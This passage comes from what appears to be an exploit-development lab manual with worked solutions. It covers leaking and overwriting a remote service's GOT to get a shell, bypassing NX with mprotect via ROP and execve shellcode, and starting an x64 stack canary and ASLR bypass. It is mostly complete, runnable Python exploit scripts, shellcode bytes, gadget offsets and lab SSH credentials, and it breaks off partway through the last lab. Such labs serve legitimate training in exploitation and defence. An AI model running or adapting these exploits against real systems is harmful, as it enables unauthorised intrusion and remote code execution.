the execution flow there we can start to execute a
custom ROP-chain.

By continuing the execution we notice that we have


achieved an arbitrary EIP overwrite and what's even
more important, this overwrite comes from the stack.
As we have NX active we cannot execute data from the
stack, but we can still place addresses and parameters
on the stack. We can now extend the payload buffer by
calling send(), which will allow us to receive the GOT
table.
ssize_t send(int sockfd, const void *buf, size_t len,
int flags);

We need to place the parameters above on the stack in


order to call send().

● Socket file descriptor. File descriptors are


explained in detail in the Linux Shellcoding
module. By viewing the file descriptors of the
child process (has a higher pid as it was spawned
after the parent), we can see that when someone is
connecting, the client socket is always 5.

● Buf will be the base address of .got.plt section,


while length will be the .got.plt's length
(readelf -a [binary] can help you identify the
above).

● Flags is 0.

The address of send() is taken from gdb's "info


functions" utility. We can use the plt address.

The below exploit code allows for leaking the .got.plt


section utilizing send(). It finaly returns to "CCCC".
The CCCC's will be changed later to another gadget
address.
import socket
import time
from struct import pack, unpack

target_ip = "172.16.172.112"
target_port = 30001

got_plt_start = 0x0804a3cc
got_plt_start_size = 0x94
got_strlen_addr = 0x0804a41c
plt_send_addr = 0x08048994
socket_fd = 5
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
print s.recv(8192)

got_strlen_addr = 0x0804a41c

# 0x8049106: add esp 0x54 ; pop ebx ; pop esi ; pop


ebp ; ret;
buf_fmt = pack("<I", got_strlen_addr) + pack("<I",
got_strlen_addr+2) + "%"+str(0x804-8)+"x%6$hn" +
"%"+str(0x9106-0x804)+"x%5$hn"
buf = buf_fmt + "A"*(0x28-len(buf_fmt))
buf += pack("<I", plt_send_addr) + "CCCC" + pack("<I",
socket_fd) + pack("<I", got_plt_start) + pack("<I",
got_plt_start_size) + pack("<I", 0) + "JUNK"
#JUNK is 4-byte padding for the buffer. If we return
to CCCC it can be removed from there, but as we will
chain the instruction with another gadget, that gadget
requires some padding to accurately return to the
stack. So JUNK is here because of the next task.

s.send(buf)
got_table = s.recv(8192) # size should be 0x94
print got_table
print ".got.plt: %d" % len(got_table)

s.close()
````

The exploit above leads to the following, when


executed.

![](https://assets.ine.com/cybersecurity-lab-images/72
0843b6-f8e7-48b3-af16-cce6711d5c95/image37.png)

The remote binary sent its .got.plt section to the


remote client. We will now analyze the leak and
extract interesting information from it.

## Task 4: Analyze the leaked GOT. Find addresses of


useful functions.

As per the hint in the task's description, we are


looking for libc addresses in the Global Offset Table
we leaked.

Interesting functions are dup2() and execve(), as they


match the solution we prepared for that lab. Note that
your way of exploiting this challenge might be
different.

We chose dup2() and execve() mainly because they are


two functions that paired together may allow us to
execute a remote command.
- dup2 will allow to connect the bash I/O with the
remote socket

- execve will allow to spawn the bash shell

- Together, they will allow to execute a command on


the remote system.

We can first check libc addresses in the binary during


debugging:

As the remote binary uses fork(), each child (forked


upon a new connection) has the same memory layout as
the parent. This means, we can just check the address
of libc in the main process.

While studying the output of the GOT, we can retrieve


the libc addresses using Python. We will use some
functions as reference to calculate the addresses of
certain functions.

We know that .got.plt starts at 0x0804a3cc. Let's find


GOT addresses using gdb's command **info functions**.

![](https://assets.ine.com/cybersecurity-lab-images/72
0843b6-f8e7-48b3-af16-cce6711d5c95/image38.png)

Using the identified PLT addresses we are able to view


GOT entries.
![](https://assets.ine.com/cybersecurity-lab-images/72
0843b6-f8e7-48b3-af16-cce6711d5c95/image39.png)

As you can see above, setreuid is at 0x804a440 while


fork is at 0x804a44c
got_setreuid_addr = 0x0804a440 got_fork_addr =
0x0804a44c got_plt_section = 0x0804a3cc

Based on this, we are able to calculate the offset


from the base of GOT.

setreuid_offset = got_setreuid_addr - got_plt_section


fork_offset = got_fork_addr - got_plt_section

Moreover, let's check the libc on the remote Debian


machine to see how these functions are placed inside
libc.

![](https://assets.ine.com/cybersecurity-lab-images/72
0843b6-f8e7-48b3-af16-cce6711d5c95/image40.png)

Also, we need to check which library is used by the


target binary.

![](https://assets.ine.com/cybersecurity-lab-images/72
0843b6-f8e7-48b3-af16-cce6711d5c95/image41.png)
We see that the second library listed is a symlink to
another. Let's examine that library, as follows.

objdump -T /lib/i686/cmov/libc.so.6 | grep -w -e


setreuid -e dup2 objdump -T /lib/i686/cmov/libc.so.6 |
grep -w -e fork -e execve

![](https://assets.ine.com/cybersecurity-lab-images/72
0843b6-f8e7-48b3-af16-cce6711d5c95/image42.png)

We can now calculate the two offsets: setreuid from


dup2 and fork from execve

libc_setreuid_dup2_offset = 0x000ca630 - 0x000d1c30


libc_fork_execve_offset = 0x000a2aa0 - 0x000a2780

Based on those offsets (location of setreduid and fork


in the GOT) we can extract libc addresses (already
resolved by the back-end remote binary).

Based on the offsets in libc, we can calculate the


locations of execve and dup2, as follows.

libc_dup2_addr = unpack("<I",
got_table[setreuid_offset:setreuid_offset+4])[0] +
libc_setreuid_dup2_offset #Get addr of dup2 based on
the setreuid libc address

libc_execve_addr = unpack("<I",
got_table[fork_offset:fork_offset+4])[0] +
libc_fork_execve_offset #Get addr of execve based on
the fork libc address

## Task 5: Construct a fake GOT and send it back to


the server

First, we will need to return from send() to the


stack. In order to do that, we need to replace the
previous return address "CCCC" with a gadget that will
help us return the execution back to the stack. As per
the hint we will use the below gadget. Specifically,
we will not return to the recv function, but we will
cause the return to an address on the stack (where the
address of recv will be stored).

(gdb) x/4i 0x8048c1a 0x8048c1a: add esp,0xc 0x8048c1d:


pop ebx 0x8048c1e: pop ebp 0x8048c1f: ret

In order to send anything back to the server, we will


need to expand the ROP chain. We need to combine
recv() with its respective parameters:

**ssize_t recv(int** *sockfd***, void ***buf**,


size_t** *len***, int** *flags***);**

- **sockfd** will be again 5, as we want to receive


data from the client socket

- **buf** will be a pointer to the .got.plt section

- **size** will be the size of the section

- **flags** will be zero again


We will have to add the following data to the payload
buffer.

```python
buf += pack("<I", plt_recv_addr) + "CCCC" + pack("<I",
sock_fd) + pack("<I", got_plt_section) + pack("<I",
got_plt_section_size) + pack("<I", 0)

● We use the known recv() address from PLT

● We return to CCCC (again, if the next gadget is


chained with the current one this will be replaced
with a return to the stack)

● All other arguments are placed

As you noticed in the previous step, a 4-byte padding


was added at the end of send(). This is because if we
want to return to the stack after executing send(), we
need to "compensate" for those 2 pops you see on the
suggested gadget below.

x/4i 0x8048c1a
0x8048c1a: add esp,0xc
0x8048c1d: pop ebx
0x8048c1e: pop ebp
0x8048c1f: ret

Specifically, as the gadget decreases the stack by a


certain amount of bytes, we need to place an
additional 4 bytes (padding) so that the number of
bytes the function call together with its arguments
consist of plus the padding matches the number of
bytes taken off the stack by that gadget.

If there will be another gadget placed after the


recv() call, then the "CCCC" will be again replaced
with the address of the above gadget and the 4-bytes
padding will be added to the current buffer.

We now know how to send data to the remote GOT. Now,


let's consider what we would like to send. The fake
GOT will be almost the same apart from two
differences:

● We will write the /bin/sh\x00 string to the end of


the GOT, as this area will not be used.

● We will write the resolved addresses of dup2() and


execve() at a known position so we can simply call
them using that address, by referencing it in a
ROP-chain. As we know the addresses inside the GOT
of setreuid and fork, we will use them again.

new_got_table = "/bin/sh\x00" + pack("<I", 0) +


got_table[12:setreuid_offset] + pack("<I",
libc_dup2_addr) +
got_table[setreuid_offset+4:fork_offset] + pack("<I",
libc_execve_addr) + got_table[fork_offset+4:]

The following exploit will hijack the GOT and replace


it with the modified version.

import socket
import time
from struct import pack, unpack

target_ip = "172.16.172.112"
target_port = 30001

got_setreuid_addr = 0x0804a440
got_fork_addr = 0x0804a44c
got_plt_start = 0x0804a3cc
got_plt_start_size = 0x94
got_strlen_addr = 0x0804a41c
socket_fd = 5

libc_setreuid_dup2_offset = 0x000ca630 - 0x000d1c30


libc_fork_execve_offset = 0x000a2aa0 - 0x000a2780

plt_recv_addr = 0x08048844
plt_send_addr = 0x08048994
plt_setreuid_addr = 0x08048984
plt_fork_addr = 0x080489b4

#connect to the target


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
print s.recv(8192)

# 0x8049106: add esp 0x54 ; pop ebx ; pop esi ; pop


ebp ; ret;
buf_fmt = pack("<I", got_strlen_addr) + pack("<I",
got_strlen_addr+2) + "%"+str(0x804-8)+"x%6$hn" +
"%"+str(0x9106-0x804)+"x%5$hn"
buf = buf_fmt + "A"*(0x28-len(buf_fmt))
buf += pack("<I", plt_send_addr) + pack("<I",
0x8048c1a) + pack("<I", socket_fd) + pack("<I",
got_plt_start) + pack("<I", got_plt_start_size) +
pack("<I", 0) + "JUNK"
buf += pack("<I", plt_recv_addr) + pack("<I",
0x8048c1a) + pack("<I", socket_fd) + pack("<I",
got_plt_start) + pack("<I", got_plt_start_size) +
pack("<I", 0) + "JUNK"
#Recv now returns to the ROP gadget. We could make it
return to a dummy address but obviously, this is not
end of the ROP chain so now we are ready to add other
parts.
s.send(buf)

got_table = s.recv(8192) # size should be 0x94


print got_table
print ".got.plt: %d" % len(got_table)

setreuid_offset = got_setreuid_addr - got_plt_start


fork_offset = got_fork_addr - got_plt_start

libc_dup2_addr = unpack("<I",
got_table[setreuid_offset:setreuid_offset+4])[0] +
libc_setreuid_dup2_offset #Get addr of dup2 based on
the setreuid libc address

libc_execve_addr = unpack("<I",
got_table[fork_offset:fork_offset+4])[0] +
libc_fork_execve_offset #Get addr of execve based on
the fork libc address

new_got_table = "/bin/sh\x00" + pack("<I", 0) +


got_table[12:setreuid_offset] + pack("<I",
libc_dup2_addr) +
got_table[setreuid_offset+4:fork_offset] + pack("<I",
libc_execve_addr) + got_table[fork_offset+4:]

s.send(new_got_table)

s.close()
Task 6: Finish the ROP chain and execute a
remote command.
As a result of replacing the GOT of the remote
process, we can now assume the following.

plt_dup2_addr = plt_setreuid_addr
plt_execve_addr = plt_fork_addr

This is because the GOT entries for those functions


were overwritten in the modified GOT table. So PLT
which points to GOT, will now call completely
different functions.

Based on these addresses, we will finish the ROP chain


by adding calls to dup2 and execve, as follows.

# call dup2 three times for stdin, stdout and stderr


buf += pack("<I", plt_dup2_addr) + pack("<I",
0x08048e31) + pack("<I", socket_fd) + pack("<I", 0)
buf += pack("<I", plt_dup2_addr) + pack("<I",
0x08048e31) + pack("<I", socket_fd) + pack("<I", 1)
buf += pack("<I", plt_dup2_addr) + pack("<I",
0x08048e31) + pack("<I", socket_fd) + pack("<I", 2)

#call execve with "/bin/bash" which is stored at the


end of GOT now. got_plt_start+8 points to 0x0. We have
now covered the two arguments of execve. Also, this is
end of the ROP chain so we don't have to add any
padding.
buf += pack("<I", plt_execve_addr) + "CCCC" +
pack("<I", got_plt_start) + pack("<I", got_plt_start +
8) + pack("<I", got_plt_start + 8)

After these calls, the remote socket will communicate


with the newly-spawned bash. So by sending anything to
the server, we will communicate with that bash shell.
A function can be written in order to make that
communication convenient.

#now the shell is spawned, the socket interacts with


the backend bash

def send_cmd(s, cmd):


s.send(cmd+"\n")
msg = s.recv(8192)
print msg

After the call to send the modified GOT:

print "[+] Spawning shell... "


time.sleep(0.5)

while True:
c = raw_input("$ ")
send_cmd(s, c)

After the modifications, remote command execution is


achieved.

The full exploit code is shown below.

import socket
import time
from struct import pack, unpack
#now the shell is spawned, the socket interacts with
the backend bash
def send_cmd(s, cmd):
s.send(cmd+"\n")
msg = s.recv(8192)
print msg

target_ip = "172.16.172.112"
target_port = 30001

got_setreuid_addr = 0x0804a440
got_fork_addr = 0x0804a44c
got_plt_start = 0x0804a3cc
got_plt_start_size = 0x94
got_strlen_addr = 0x0804a41c
socket_fd = 5

libc_setreuid_dup2_offset = 0x000ca630 - 0x000d1c30


libc_fork_execve_offset = 0x000a2aa0 - 0x000a2780

plt_recv_addr = 0x08048844
plt_send_addr = 0x08048994
plt_setreuid_addr = 0x08048984
plt_fork_addr = 0x080489b4

# connect to the target


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
print s.recv(8192)

got_strlen_addr = 0x0804a41c

#0x8049106: add esp 0x54 ; pop ebx ; pop esi ; pop ebp
; ret;
buf_fmt = pack("<I", got_strlen_addr) + pack("<I",
got_strlen_addr+2) + "%"+str(0x804-8)+"x%6$hn" +
"%"+str(0x9106-0x804)+"x%5$hn"
buf = buf_fmt + "A"*(0x28-len(buf_fmt))
buf += pack("<I", plt_send_addr) + pack("<I",
0x8048c1a) + pack("<I", socket_fd) + pack("<I",
got_plt_start) + pack("<I", got_plt_start_size) +
pack("<I", 0) + "JUNK"
buf += pack("<I", plt_recv_addr) + pack("<I",
0x8048c1a) + pack("<I", socket_fd) + pack("<I",
got_plt_start) + pack("<I", got_plt_start_size) +
pack("<I", 0) + "JUNK"

plt_dup2_addr = plt_setreuid_addr
plt_execve_addr = plt_fork_addr

# call dup2 three times for stdin, stdout and stderr


buf += pack("<I", plt_dup2_addr) + pack("<I",
0x08048e31) + pack("<I", socket_fd) + pack("<I", 0)
buf += pack("<I", plt_dup2_addr) + pack("<I",
0x08048e31) + pack("<I", socket_fd) + pack("<I", 1)
buf += pack("<I", plt_dup2_addr) + pack("<I",
0x08048e31) + pack("<I", socket_fd) + pack("<I", 2)

#call execve with "/bin/bash" which is stored at the


end of GOT now. got_plt_start+8 points to 0x0. We have
now covered the two arguments of execve. Also, this is
end of the ROP chain so we don't have to add any
padding.
buf += pack("<I", plt_execve_addr) + "CCCC" +
pack("<I", got_plt_start) + pack("<I", got_plt_start +
8) + pack("<I", got_plt_start + 8)

s.send(buf)
got_table = s.recv(8192) size should be 0x94
print got_table
print ".got.plt: %d" % len(got_table)
setreuid_offset = got_setreuid_addr - got_plt_start
fork_offset = got_fork_addr - got_plt_start

libc_dup2_addr = unpack("<I",
got_table[setreuid_offset:setreuid_offset+4])[0] +
libc_setreuid_dup2_offset
#Get addr of dup2 based on the setreuid libc address

libc_execve_addr = unpack("<I",
got_table[fork_offset:fork_offset+4])[0] +
libc_fork_execve_offset #Get addr of execve based on
the fork libc address

new_got_table = "/bin/sh\x00" + pack("<I", 0) +


got_table[12:setreuid_offset] + pack("<I",
libc_dup2_addr) +
got_table[setreuid_offset+4:fork_offset] + pack("<I",
libc_execve_addr) + got_table[fork_offset+4:]

s.send(new_got_table)

print "[+] Spawning shell\... "


time.sleep(0.5)

while True:
c = raw_input("$ ")
send_cmd(s, c)

s.close()
Overcome ret2libc Limitations LAB
14

Scenario
Your red team manager has set up yet another
vulnerable machine (172.16.172.128) for you to
practice exploit development on. A vulnerable binary
can be found on the user's Desktop directory.

Your task is to develop an exploit that results in


execution of arbitrary shellcode (spawning an
unprivileged bash is sufficient). The red team mamager
informed you of the below.

● This binary can be exploited using ret2libc

● ASLR is off

● Your goal is to develop an exploit that executes


shellcode residing on the stack, despite NX being
in place. In other words you have to find a way to
execute data on the stack despite NX being present
in the binary.

Goals
● Create a local exploit that works outside of gdb
and results in a shell

● The tasks section will guide you through a


suggested solution. However, feel free to find
your own gadgets / way to exploit the binary.

What you will learn


● Chaining ROP gadgets to execute arbitrary code

● Overcome non-standard EIP overwrite

● Working with memory protection mechanisms

Recommended tools
● Gdb

● Text editor

● Python or other scripting language

● Linux binutils

Network Configuration &


Credentials
● Penetration tester's Subnet: 172.16.172.0/24
● Vulnerable machine: 172.16.172.128

Connection Type: SSH


Username: xdev
● Password: xdev

Tasks
Task 1: Recognize the exploitable conditions
and find the offset to EIP
Inspect the vulnerable binary and locate an overflow
vulnerability. Your red team manager already told you
which exploit countermeasures are in place, but you
might want to confirm that. After that, try to
overwrite the EIP with an arbitrary value. Hint: Pay
attention to what instructions are executed right
before the crash.

Task 2: Find a method to execute data from


the stack
If you can control EIP, you are halfway through a
working exploit. You might want to use mprotect() in
order to change the memory protection state for a
certain area. Think of what arguments and what
function should be called to subvert the existing
memory protections of the stack area.

Task 3: Find suitable ROP gadgets to call the


target function with suitable arguments
Remember that you are always free to use your own
combination of gadgets, those presented in the lab
manual are just a suggestion. You can use the
ROPgadget tool in order to find interesting gadgets.
Hint: You can search not only within the binary, but
also in Libc.

Task 4: Complete the ROP chain. Develop an


exploit that works outside of gdb.
If needed, adjust the ECX overwrite so that the ROP
chain is properly executed. When trying to adjust it
outside of gdb, you can use bruteforce, since this is
a local exploit.

SOLUTIONS
Below, you can find solutions for each task. Remember
though that you can follow your own strategy (which
may be different from the one explained in the
following lab).

Task 1: Recognize the exploitable conditions


and find the offset to EIP.
Checksec and an ASLR check confirm that the only
countermeasure to bypass is Non-eXecutable stack.

As we try to run the binary, it results in an instant


segmentation fault. When checking with ltrace, we can
see that the reason is a copy from null source. Such a
situation usually occurs when the location from which
the copy operation should be done is not present. This
might be because the application tries to copy from a
command line argument.

Of course, the missing source might also be e.g. an


environment variable. That being said, trying to run
the software with a command line argument is a quick
and easy check that can be performed before going
deeply into reverse engineering it.

Indeed, supplying a command line argument solves the


problem. Now, let's try to overflow the buffer.
Trying to find the offset fails. We know that
supplying that long buffer caused the software to
crash but this is not a clear EIP overwrite. Looking
at the instructions that were execute before the
current "ret" on the screenshot above, indicates that
the program works in a way that it loads the content
of [ECX-0x4] to ESP, and then returns to the
newly-adjusted ESP. In order to find a proper offset
to EIP we need to start with examining the ECX.

Comparing the values of ESP and ECX confirms that the


program first subtracted 4 from the ECX resulting in
0x4141373d (present in ESP). Then, it tried to return
to the content of that memory address. Since this is
not a valid memory location, segmentation fault
occurred.

We know that ECX is overwritten after 104 bytes. Let's


try to set ESP to a controlled value. We will start
with the below python exploit skeleton.
As per the debugger output, the Stack pointer address
in invalid. However, we can now control it. This means
that we can further change it to any memory location
that contains an interesting code to reuse. Moreover,
the 100 bytes in the user buffer are a good place to
store future shellcode - we will save that for later.
For now, let's move on to the second task and try to
figure out how NX can be circumvented.

Task 2: Find a method to execute data from


the stack
Due to non-executable stack, we cannot execute any
data on it. But it is possible to use a function such
as mprotect(), that will cause the stack to become
executable.

int mprotect(void *addr, size_t len, int prot);

In order to call that function it is needed to supply


arguments to it.

In order to call that function it is needed to supply


arguments to it.
● The return address will be the address of the
user's buffer

● *addr** can be the address that includes the


user's buffer, it can be the base address of the
stack region as well

● length can be any value. It should be null free.

● prot is the new protection level, in this case we


will set RWX, which is 0x7. Due to inevitable
NULL-bytes, this will need to be set up using ROP.

Let's inspect the mprotect function in gdb, as


follows.

It can be seen that all the arguments passed on the


stack are loaded to the edx, ecx and ebx registers and
then the function is called. So, we can mimic that
operation and place arugments into registers using
ROP, and then call mprotect+13.

Task 3: Find suitable ROP gadgets to call the


target function with suitable arguments
The plan is to design the stack as follows.

● Shellcode + offset to ECX overwrite


● ECX will contain the stack address that points to
the first gadget, so we return to the ROP chain
● Then, we will use a series of pops to place
arguments in EDX, EBX and ECX
● Permission cannot be 0x00000007 due to null bytes.
It will be stored as 0xffffffff and then increased
in the target register until it reaches 0x7
● Next, mprotect+13 will be called as data is
already in the registers
● In the end, we will return to the shellcode

We will use the base address of libc in order to refer


to it, when placing addresses of other gadgets.

● Libc is at 0xb7e09000

● mprotect is at 0xe2da0 from the base of libc

For the first gadget we will use the last one from
screenshot above.

0x000f3b91 : pop edx ; pop ecx ; pop ebx ; ret

So, the arguments will be placed in the respective


registers.

The ebx will be equal to 0xffffffff.


If you decide to use the base address of the stack
region 0xbffdf000 (which our solution does), you will
notice that it ends with a null byte.

This address will also need to be placed in the stack


as, 0xbfffdf001, for example. So, the next gadget
should decrease that address, which will be in ebx.

0x0016f3e2 : dec ebx ; ret

The last argument to adjust is the protection which


currently is 0xffffffff and we want it to be 0x7. As
you probably know, after adding 0x1 to it, the edx
will be equal to 0x0, after the next addition of 0x1
it will be 0x1 and so on and so forth until 0x7 is
reached. We just need to increase edx 8 times in order
to be equal to 0x7.

0x00025c55 : inc edx ; ret

Let's now try to construct a working ROP chain.

Task 4: Complete the ROP chain. Develop an


exploit that works outside of gdb.
We will now place all the addresses in the exploit
buffer and then possibly adjust, if the ECX does not
point to a suitable gadget.

Also, we will use shellcode downloaded from the


shellstorm website. Few nops were added in its
beginning.

shellcode = "\x90"*4 + "\x31\xc0\x50\x68\x2f\x2f\x73"


shellcode += "\x68\x68\x2f\x62\x69\x6e\x89"
shellcode += "\xe3\x89\xc1\x89\xc2\xb0\x0b"
shellcode += "\xcd\x80\x31\xc0\x40\xcd\x80"

Also, a lambda expression will be introduced for


easier conversion of addresses to the little-endian
byte order.

p = lambda x : pack("I",x)

The current state of the exploit is the following.

from struct import pack

shellcode = "\x90"*4 + "\x31\xc0\x50\x68\x2f\x2f\x73"


shellcode += "\x68\x68\x2f\x62\x69\x6e\x89"
shellcode += "\xe3\x89\xc1\x89\xc2\xb0\x0b"
shellcode += "\xcd\x80\x31\xc0\x40\xcd\x80"

sc = shellcode

p = lambda x : pack("I",x)

libc = 0xb7e09000

mprotect = libc + 0x000e2da0


mprot = p(mprotect + 13)
pop3 = p(libc + 0x000f3b91)
dec_ebx = p(libc + 0x0016f3e2)
inc_edx = p(libc + 0x00025c55)

permission = p(0xffffffff)
size = p(0x01010101) # a null-free size
ret = "YYYY" # addr of beginning of user buffer in gdb
stack = p(0xbffdf001) # gdb = 0xbffdf000+1 to avoid
null bytes

payload = sc + (104-len(sc))*"\xcc" #A's were replaced


with INT3's
payload += "XXXX" #ECX

payload += pop3 + permission + size + stack


payload += dec_ebx + inc_edx*8
payload += mprot + "EEEE" + ret

print payload

The next step is to debug the binary in order to get


the addresses of the beginning of the user buffer and
the first gadget, so the arguments in red can be
filled in.

A breakpoint is placed at the lea instruction to see


what data is being moved to ESP. Of course, at the
first run there are dummy "XXXX" that were placed in
the buffer. This run should be used to obtain the real
addresses of the gadget and the stack. At the moment
we are before the lea instruction being executed, the
original ESP is not changed, so, based on it we are
able to see how data is laid on the stack before the
ECX will be moved to the ESP.

Current ESP is 0xbffff54c

We can see the shellcode starting with 0x90909090 -


four nops. This should be taken as the address of the
beginning of the user buffer 0xbffff4dc

Let's also figure out the address of the triple pop


gadget which is the first gadget in the exploit ROP
chain, as follows.

This will be the address of the second last line +


0xc, as the gadget address is in the last column. The
address of the pointer to that gadget (and not the
gadget itself due to the LEA instruction which
operates on ADDRESS OF and not the value itself) is
0xbffff548

The exploit variables are now adjusted, as follows.

ret = p(0xbffff4dc) #addr of beginning of user buffer


in gdb
(...)
payload += p(0xbffff548+4) #ECX

Now after setting the same breakpoint and stepping


through the lea instruction, we see that the ESP will
hold the address of the pointer to the first gadget
and we start executing the ROP chain.
If we allow execution, bash is spawned.

The last thing is to prepare the exploit so that it is


able to work outside gdb. As you already know the
stack will be shifted some bytes forward due to
environmental variables being present in the bash
shell. We can try to infer the shift offset based on
the core dump or we can try to find the offset using
brute force. Let's do the later. We will simply create
a variable named "offset" and pass it a numeric value
from a command line argument. Then, we will run the
exploit multiple times until the offset is proper and
a shell is spawned. The offset will affect the buffer
base address and the ecx address, so, it will be added
to those variables.

The full exploit can be found below.

from struct import pack


import sys

shellcode = "\x90"*4 + "\x31\xc0\x50\x68\x2f\x2f\x73"


shellcode += "\x68\x68\x2f\x62\x69\x6e\x89"
shellcode += "\xe3\x89\xc1\x89\xc2\xb0\x0b"
shellcode += "\xcd\x80\x31\xc0\x40\xcd\x80"
offset = int(sys.argv[1])

sc = shellcode

p = lambda x : pack("I",x)

libc = 0xb7e09000

mprotect = libc + 0x000e2da0


mprot = p(mprotect + 13)

pop3 = p(libc + 0x000f3b91)


dec_ebx = p(libc + 0x0016f3e2)
inc_edx = p(libc + 0x00025c55)

permission = p(0xffffffff)
size = p(0x01010101)
ret = p(0xbffff4dc + offset)
stack = p(0xbffdf001)

payload = sc + (104-len(sc))*"\xcc"
payload += p(0xbffff548+4+offset)

payload += pop3 + permission + size + stack


payload += dec_ebx + inc_edx*8
payload += mprot + "EEEE" + ret

print payload

The exploit can be run (following a brute force


approach), as follows.
After several iterations, the shell is spawned.

Linux x64 Stack Canary, NX & ASLR


Bypass LAB 15

Scenario
In this lab you will continue to learn x64 Linux
exploitation. Both the Operating System (Ubuntu 16)
and the target binary are 64-bit. Both are hardened as
well. You will need to bypass different exploit
countermeasures, so be prepared to use all the
knowledge gained so far.

You can connect to the lab machine via SSH. The target
IP is 172.16.172.126

In case you need root-level access for debugging, the


user below is able to run sudo.

The SSH credentials are the following.

● Username: xdev
● Password: xdev

Goals
● Discover vulnerabilities in the binary

● Chain them for successful exploitation

● Spawn an interactive bash shell

What you will learn


● Exploiting 64-bit buffer overflows

● Chaining single memory corruption vulnerabilities


to create a working exploit

Recommended tools
● Gdb / gdb-peda

● Text editor

● Kali linux

Network Configuration &


Credentials
● Penetration tester's Subnet: 172.16.172.0/24

● Vulnerable machine: 172.16.172.126

● Connection Type: SSH

ssh xdev@172.16.172.126
password: xdev

Tasks
Task 1: Connect to the compromised machine
and examine the target binary
The target binary is named format and is available in
the xdev user's Desktop directory. As your first task,
examine what exploit countermeasures are in place and
try to identify vulnerabilities within the binary.

Task 2: Leak information from the binary


Once all vulnerabilities are identified, use one of
them to leak data from the binary. Carefully inspect
what data the binary is leaking and how they can be
used for further exploitation.

Hint: Try leaking the canary value as well as an


address that has a constant offset to the libc base.

Task 3: Find gadgets to return to execve


Try to identify usable gadgets within the binary. By
usable we mean gadgets that will allow you to call
setuid(0) execve("/bin/sh").
Hint: You may want to use tools like One gadget or
Magic gadget.

[https://github.com/david942j/one_gadget]

[https://github.com/m1ghtym0/magic_gadget_finder]

Task 4: Complete the exploit with shellcode


and spawn an interactive bash shell
Chain all gathered information to create an exploit
that results in a remote shell. You can use pwntools
or telnetlib to craft the exploit. That being said you
are free to use any scripting / programming language
you like. Your exploit should be able to target the
binary remotely. Confirm it works by pointing it to
172.16.172.126:5555, where the target binary is being
forked and served by a socat service.

Solutions
Below, you can find solutions for each task. Remember
though that you can follow your own strategy (which
may be different from the one explained in the
following lab).

Task 1: Connect to the compromised machine


and examine the target binary
A first look at the binary indicates the following:

● It is 64-bit

● Stack canary as well as NX are present


● The target system has ASLR enabled

By interacting with the binary, we see that it asks


for user input twice. The first input seems to handle
format strings in an insecure way, while the second
one leads to a buffer overflow that is not exploitable
for the time being due to the stack canary protection.

Task 2: Leak information from the binary


By utilizing the format string vulnerability, it is
possible to leak interesting addresses into the stdin.
What is also important is that the overflow
vulnerability can be triggered after we are able to
read the leaks. This means that any leaked information
can be utilized during the overflow. In order to fully
leverage the overflow vulnerability, we will need to
bypass ASLR, NX and the Stack cookie. Luckily, all of
them can be bypassed through format string leaks.
● The utilized canary should be on the stack. As
format string allows us to read and traverse the
stack, we can pull it out

● Look for an address that falls into libc's address


space on the stack. Maybe its relative offset to
the libc base is constant, so it can be used to
calculate other addresses.

First, let's look for the canary. By disassembling


main we want to locate a call to __stack_chk_fail. Two
instructions above, the canary is pulled from the FS
segment register.

A breakpoint is placed at the XOR instruction at


0x40084f and upon hitting it, RCX is examined to see
the canary

The canary is 8-bytes long and ends with a null byte.


Let's try to perform an information leak and see if
such-looking data will be printed from the stack.
There is one value that stands out as it is not
repeated, it is 8-bytes long and also ends with a null
byte. It looks like the canary will be on the 15th
position when leaking data from the stack. We can now
incorporate the canary into a future exploit in order
to exploit the stack overflow.

In our search for the stack offset that will reveal


the canary, we first need to identify where the check
happens. As we disassemble the main() function, it
becomes obvious that the second input is processed in
another function named center().

So, we need to disassemble center().

A breakpoint will be placed right after the nop


instruction (at 0x000000000040077d ) and then the
second input (including a pattern) will be passed to
the binary, as follows.

Once the breakpoint is hit, one instruction can be


stepped in.

We see that the current canary value was retrieved to


RAX.

The RAX value can be supplied to the pattern offset


utility in order to discover the number of bytes
required to overflow the cookie.

The second step will be to leak the libc address.


First, we need to run the binary in gdb to see at
which address the library is loaded. Simply do gdb -q
./format and then ctrl+C at first input, so you can
check libc.
Now we know, that these functions are loaded from
/lib/x86_64-linux-gnu/libc-2.23.so

Using ldd we can see the base addresses of the


libraries. Even if ASLR is in place, we can look for
similarly starting addresses on the stack and check if
any of them has a constant relative offset to the libc
base.

gdb-peda disables randomization by default, so it will


be easier to check for it within gdb.

Then, ctrl+c can be pressed to view libc and calculate


the offsets. We subtract the executable area of libc
from the stack leaked addresses.
It turns out that we can rely on the 4th address
leaked by the format string, as it has a constant
offset of 0x5d7700 to the libc base.

The information leak can be improved via direct


parameter access, as we require just the 4th and the
15th position from the stack.

The first run on the screenshot prints just the


canary, while the second one prints the libc address
and the canary.

These pieces of information allow us to create the


following exploit.

from telnetlib import Telnet


from struct import pack

print "[+] Connecting to server"


s = Telnet("172.16.172.126", 5555) #connect to ip,port

s.read_until('Name:') # don't print it, just receive


s.write('%4$lx|%15$lx') # Send format string as input
to server
leak = s.read_until('Code:') # Read output until
prompt for Code:
leak = leak.replace('Enter','|') #Remove Enter from
output
leak = leak.replace('Hello ','|') #Remove Hello from
output
leak = leak.split('|') #Get rid of the rest of the
output and split it. Our values of interest are on
positions [1] and [2]
#print leak print the list - debug
canary = int(leak[2], 16) #convert the value to
integer of base 16 (hexadecimal)
libc = int(leak[1], 16)-0x5d7700 #convert the value to
integer of base 16 (hexadecimal) and subtract offset
to libc base from it
print "[+] Libc base: " + hex(libc)
print "[+] Stack canary: " + hex(canary)

Running it against the binary will produce the


following result.

Note: if you see a "L" letter at the end of the


output, that's ok. It's just python informing you that
a value is of type long. This will not affect the
exploitation process.

Task 3: Find gadgets to return to execve


"One gadget" or "Magic gadget" are names of a location
inside x64 libcs that leads to one-address code
execution, as some libcs were proven to contain a
location that just does execve("/bin/sh").

For example, this is a disassembly of one of the found


one-gadgets.
The One gadget tool can be downloaded locally from
github, as follows.

Then the library can be copied from the remote machine


and inspected locally, as follows.

We note down the address of the first gadget 0x45216.


It can be used because its only requirement is that
the RAX is null when called. But, as we first call
setuid(0), which will return 0 in the RAX, this is
fine.

Also, the offset in libc of setuid can be found on the


remote machine using readelf on the libc.
Let's note down the setuid's offset: 0xcd2b0

Task 4: Complete the exploit with shellcode


and spawn an interactive bash shell
Now let's craft the exploit.

Let's follow the exploitation strategy below:

